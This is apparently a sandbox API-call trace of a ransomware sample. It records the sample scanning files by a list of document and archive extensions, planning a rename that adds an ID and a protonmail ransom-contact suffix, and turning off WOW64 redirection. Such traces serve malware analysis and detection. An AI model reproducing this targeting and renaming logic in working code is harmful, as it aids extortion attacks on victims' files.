	[0179.865] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0180.067] GetTickCount () returned 0x113d826
	[0180.067] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0180.247] GetTickCount () returned 0x113d8e1
	[0180.247] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0180.376] GetTickCount () returned 0x113d95e
	[0180.376] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0180.506] GetTickCount () returned 0x113d9db
	[0180.506] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0180.701] GetTickCount () returned 0x113daa7
	[0180.701] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0180.882] GetTickCount () returned 0x113db52
	[0180.882] GetTickCount () returned 0x113db52
	[0180.882] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0181.195] GetTickCount () returned 0x113dc8b
	[0181.195] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0181.341] GetTickCount () returned 0x113dd27
	[0181.341] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0181.534] GetTickCount () returned 0x113dde3
	[0181.534] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0181.643] GetTickCount () returned 0x113de50
	[0181.643] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0181.751] GetTickCount () returned 0x113debd
	[0181.751] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0181.861] GetTickCount () returned 0x113df2b
	[0181.861] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0181.971] GetTickCount () returned 0x113df89
	[0181.971] GetTickCount () returned 0x113df89
	[0181.971] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0182.069] GetTickCount () returned 0x113dff6
	[0182.069] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0182.177] GetTickCount () returned 0x113e063
	[0182.177] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0182.287] GetTickCount () returned 0x113e0d1
	[0182.287] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0182.413] GetTickCount () returned 0x113e14e
	[0182.413] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0182.590] GetTickCount () returned 0x113e1fa
	[0182.590] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0182.804] GetTickCount () returned 0x113e2d4
	[0182.804] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0182.990] GetTickCount () returned 0x113e390
	[0182.990] GetTickCount () returned 0x113e390
	[0182.990] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0183.520] GetTickCount () returned 0x113e5a3
	[0183.520] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0183.862] GetTickCount () returned 0x113e6eb
	[0183.862] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0184.032] GetTickCount () returned 0x113e797
	[0184.032] GetTickCount () returned 0x113e797
	[0184.032] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0184.339] GetTickCount () returned 0x113e8d0
	[0184.349] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0184.492] GetTickCount () returned 0x113e96c
	[0184.492] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0184.667] GetTickCount () returned 0x113ea18
	[0184.667] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0184.797] GetTickCount () returned 0x113ea95
	[0184.797] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0184.968] GetTickCount () returned 0x113eb41
	[0184.968] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0185.210] GetTickCount () returned 0x113ec3b
	[0185.210] GetTickCount () returned 0x113ec3b
	[0185.210] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0185.524] GetTickCount () returned 0x113ed73
	[0185.524] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0185.912] GetTickCount () returned 0x113eefa
	[0185.912] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0186.233] GetTickCount () returned 0x113f042
	[0186.233] GetTickCount () returned 0x113f042
	[0186.233] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0186.500] GetTickCount () returned 0x113f13c
	[0186.500] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0186.662] GetTickCount () returned 0x113f1d8
	[0186.662] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0186.861] GetTickCount () returned 0x113f2a3
	[0186.861] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0187.048] GetTickCount () returned 0x113f35f
	[0187.048] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0187.340] GetTickCount () returned 0x113f488
	[0187.341] GetTickCount () returned 0x113f488
	[0187.341] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0187.568] GetTickCount () returned 0x113f562
	[0187.568] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0188.259] GetTickCount () returned 0x113f812
	[0188.259] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x0
	[0188.259] WaitForMultipleObjects (nCount=0x4, lpHandles=0x296ff5c*=0x2f8, bWaitAll=1, dwMilliseconds=0xffffffff) returned 0x0
	[0188.523] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4dec020 | out: hHeap=0x710000) returned 1
	[0188.528] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7ad948 | out: hHeap=0x710000) returned 1
	[0188.528] lstrlenW (lpString=".Z9") returned 3
	[0188.528] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x76fa48 | out: hHeap=0x710000) returned 1
	[0188.528] lstrlenW (lpString=".[help.me24@protonmail.com]") returned 27
	[0188.528] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x72db48 | out: hHeap=0x710000) returned 1
	[0188.528] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7ad938 | out: hHeap=0x710000) returned 1
	[0188.528] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7acee0 | out: hHeap=0x710000) returned 1
	[0188.528] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7ad0c0 | out: hHeap=0x710000) returned 1
	[0188.528] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7ad060 | out: hHeap=0x710000) returned 1
	[0188.528] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7acf40 | out: hHeap=0x710000) returned 1
	[0188.528] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7acf70 | out: hHeap=0x710000) returned 1
	[0188.528] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7ad090 | out: hHeap=0x710000) returned 1
	[0188.528] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7ad9d8 | out: hHeap=0x710000) returned 1
	[0188.528] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7ace80 | out: hHeap=0x710000) returned 1
	[0188.528] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7acf88 | out: hHeap=0x710000) returned 1
	[0188.528] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7acec8 | out: hHeap=0x710000) returned 1
	[0188.528] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7ad7e8 | out: hHeap=0x710000) returned 1
	[0188.528] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7ad978 | out: hHeap=0x710000) returned 1
	[0188.528] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7acfa0 | out: hHeap=0x710000) returned 1
	[0188.528] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7ad828 | out: hHeap=0x710000) returned 1
	[0188.528] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7ad0d8 | out: hHeap=0x710000) returned 1
	[0188.528] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7ad7f8 | out: hHeap=0x710000) returned 1
	[0188.528] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x76fad8 | out: hHeap=0x710000) returned 1
	[0188.528] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74ee50 | out: hHeap=0x710000) returned 1
	[0188.528] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74f198 | out: hHeap=0x710000) returned 1
	[0188.528] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7230c8 | out: hHeap=0x710000) returned 1
	[0188.529] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x72bec8 | out: hHeap=0x710000) returned 1
	[0188.529] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x777778 | out: hHeap=0x710000) returned 1
	[0188.530] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7cf1b0 | out: hHeap=0x710000) returned 1
	[0188.530] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x4068cd0
	[0188.530] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x4068cd0, Size=0x20) returned 0x3929fc0
	[0188.530] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x4068cd0
	[0188.530] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x4068cd0, Size=0x20) returned 0x3929fe8
	[0188.530] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77030000
	[0188.530] GetProcAddress (hModule=0x77030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77046b30
	[0188.530] Wow64DisableWow64FsRedirection (in: OldValue=0x296ff7c | out: OldValue=0x296ff7c*=0x1) returned 1
	[0188.530] lstrlenW (lpString="kernel32.dll") returned 12
	[0188.530] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3929fe8 | out: hHeap=0x710000) returned 1
	[0188.530] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0188.530] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3929fc0 | out: hHeap=0x710000) returned 1

Thread:
	id = 38
	os_tid = 0xd80

	[0159.306] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10000) returned 0x7d0bc0
	[0159.307] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10000) returned 0x7e0bc8
	[0159.307] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x76fc70
	[0159.307] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x6) returned 0x7ad838
	[0159.307] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x76fef8
	[0159.307] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x100000) returned 0x3739020
	[0159.311] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x76ff10
	[0159.311] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x76ff10, Size=0x20) returned 0x74f3a0
	[0159.311] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x76fdd8
	[0159.311] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x76fdd8, Size=0x20) returned 0x74f378
	[0159.311] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77030000
	[0159.311] GetProcAddress (hModule=0x77030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77046b30
	[0159.311] Wow64DisableWow64FsRedirection (in: OldValue=0x2aaff50 | out: OldValue=0x2aaff50*=0x0) returned 1
	[0159.311] lstrlenW (lpString="kernel32.dll") returned 12
	[0159.311] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74f3a0 | out: hHeap=0x710000) returned 1
	[0159.311] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0159.311] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74f378 | out: hHeap=0x710000) returned 1
	[0159.311] Sleep (dwMilliseconds=0x64) 
	[0159.634] Sleep (dwMilliseconds=0x64) 
	[0160.316] Sleep (dwMilliseconds=0x64) 
	[0160.632] Sleep (dwMilliseconds=0x64) 
	[0160.914] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0160.914] lstrlenW (lpString="Content.xml") returned 11
	[0160.914] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0160.925] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=27045) returned 1
	[0160.925] CloseHandle (hObject=0x394) returned 1
	[0160.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20
	[0160.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0160.926] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0160.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0160.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0160.938] lstrlenW (lpString=".doc") returned 4
	[0160.938] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0160.938] lstrlenW (lpString=".docx") returned 5
	[0160.938] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0160.938] lstrlenW (lpString=".pdf") returned 4
	[0160.938] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0160.938] lstrlenW (lpString=".xls") returned 4
	[0160.938] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0160.938] lstrlenW (lpString=".xlsx") returned 5
	[0160.938] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0160.938] lstrlenW (lpString=".ppt") returned 4
	[0160.938] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0160.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0160.938] lstrlenW (lpString=".zip") returned 4
	[0160.939] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0160.939] lstrlenW (lpString=".rar") returned 4
	[0160.939] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0160.939] lstrlenW (lpString=".bz2") returned 4
	[0160.939] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0160.939] lstrlenW (lpString=".7z") returned 3
	[0160.939] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0160.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0160.939] lstrlenW (lpString=".dbf") returned 4
	[0160.939] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0160.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0160.939] lstrlenW (lpString=".1cd") returned 4
	[0160.939] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0160.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0160.939] lstrlenW (lpString=".jpg") returned 4
	[0160.939] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0160.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0160.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0160.939] lstrlenW (lpString=".doc") returned 4
	[0160.939] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0160.939] lstrlenW (lpString=".docx") returned 5
	[0160.939] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0160.939] lstrlenW (lpString=".pdf") returned 4
	[0160.939] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0160.939] lstrlenW (lpString=".xls") returned 4
	[0160.939] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0160.939] lstrlenW (lpString=".xlsx") returned 5
	[0160.939] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0160.939] lstrlenW (lpString=".ppt") returned 4
	[0160.939] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0160.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0160.939] lstrlenW (lpString=".zip") returned 4
	[0160.939] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0160.940] lstrlenW (lpString=".rar") returned 4
	[0160.940] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0160.940] lstrlenW (lpString=".bz2") returned 4
	[0160.940] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0160.940] lstrlenW (lpString=".7z") returned 3
	[0160.940] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0160.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0160.940] lstrlenW (lpString=".dbf") returned 4
	[0160.940] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0160.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0160.940] lstrlenW (lpString=".1cd") returned 4
	[0160.940] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0160.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0160.940] lstrlenW (lpString=".jpg") returned 4
	[0160.940] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0160.940] lstrcmpiW (lpString1=".avi", lpString2=".Z9") returned -1
	[0160.940] lstrlenW (lpString="delete.avi") returned 10
	[0160.940] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0160.943] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=208408) returned 1
	[0160.943] CloseHandle (hObject=0x394) returned 1
	[0160.943] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20
	[0160.943] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0160.959] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0160.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0160.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0160.960] lstrlenW (lpString=".doc") returned 4
	[0160.960] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0160.960] lstrlenW (lpString=".docx") returned 5
	[0160.960] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1
	[0160.960] lstrlenW (lpString=".pdf") returned 4
	[0160.960] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0160.960] lstrlenW (lpString=".xls") returned 4
	[0160.960] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0160.960] lstrlenW (lpString=".xlsx") returned 5
	[0160.960] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1
	[0160.960] lstrlenW (lpString=".ppt") returned 4
	[0160.960] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0160.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0160.960] lstrlenW (lpString=".zip") returned 4
	[0160.960] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0160.960] lstrlenW (lpString=".rar") returned 4
	[0160.960] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0160.960] lstrlenW (lpString=".bz2") returned 4
	[0160.960] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0160.960] lstrlenW (lpString=".7z") returned 3
	[0160.960] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0160.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0160.960] lstrlenW (lpString=".dbf") returned 4
	[0160.960] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0160.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0160.961] lstrlenW (lpString=".1cd") returned 4
	[0160.961] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0160.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0160.961] lstrlenW (lpString=".jpg") returned 4
	[0160.961] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0160.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0160.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0160.961] lstrlenW (lpString=".doc") returned 4
	[0160.961] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0160.961] lstrlenW (lpString=".docx") returned 5
	[0160.961] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1
	[0160.961] lstrlenW (lpString=".pdf") returned 4
	[0160.961] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0160.961] lstrlenW (lpString=".xls") returned 4
	[0160.961] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0160.961] lstrlenW (lpString=".xlsx") returned 5
	[0160.961] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1
	[0160.961] lstrlenW (lpString=".ppt") returned 4
	[0160.961] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0160.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0160.961] lstrlenW (lpString=".zip") returned 4
	[0160.961] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0160.961] lstrlenW (lpString=".rar") returned 4
	[0160.961] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0160.961] lstrlenW (lpString=".bz2") returned 4
	[0160.961] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0160.961] lstrlenW (lpString=".7z") returned 3
	[0160.961] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0160.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0160.961] lstrlenW (lpString=".dbf") returned 4
	[0160.961] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0160.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0160.961] lstrlenW (lpString=".1cd") returned 4
	[0160.961] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0160.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0160.962] lstrlenW (lpString=".jpg") returned 4
	[0160.962] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0160.962] Sleep (dwMilliseconds=0x64) 
	[0161.095] Sleep (dwMilliseconds=0x64) 
	[0161.335] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0161.335] lstrlenW (lpString="auxbase.xml") returned 11
	[0161.335] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0161.337] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=1434) returned 1
	[0161.337] CloseHandle (hObject=0x39c) returned 1
	[0161.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20
	[0161.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0161.337] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0161.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0161.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0161.337] lstrlenW (lpString=".doc") returned 4
	[0161.337] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0161.337] lstrlenW (lpString=".docx") returned 5
	[0161.337] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0161.337] lstrlenW (lpString=".pdf") returned 4
	[0161.337] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0161.337] lstrlenW (lpString=".xls") returned 4
	[0161.337] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0161.337] lstrlenW (lpString=".xlsx") returned 5
	[0161.337] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0161.337] lstrlenW (lpString=".ppt") returned 4
	[0161.337] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0161.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0161.337] lstrlenW (lpString=".zip") returned 4
	[0161.338] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0161.338] lstrlenW (lpString=".rar") returned 4
	[0161.338] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0161.338] lstrlenW (lpString=".bz2") returned 4
	[0161.338] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0161.338] lstrlenW (lpString=".7z") returned 3
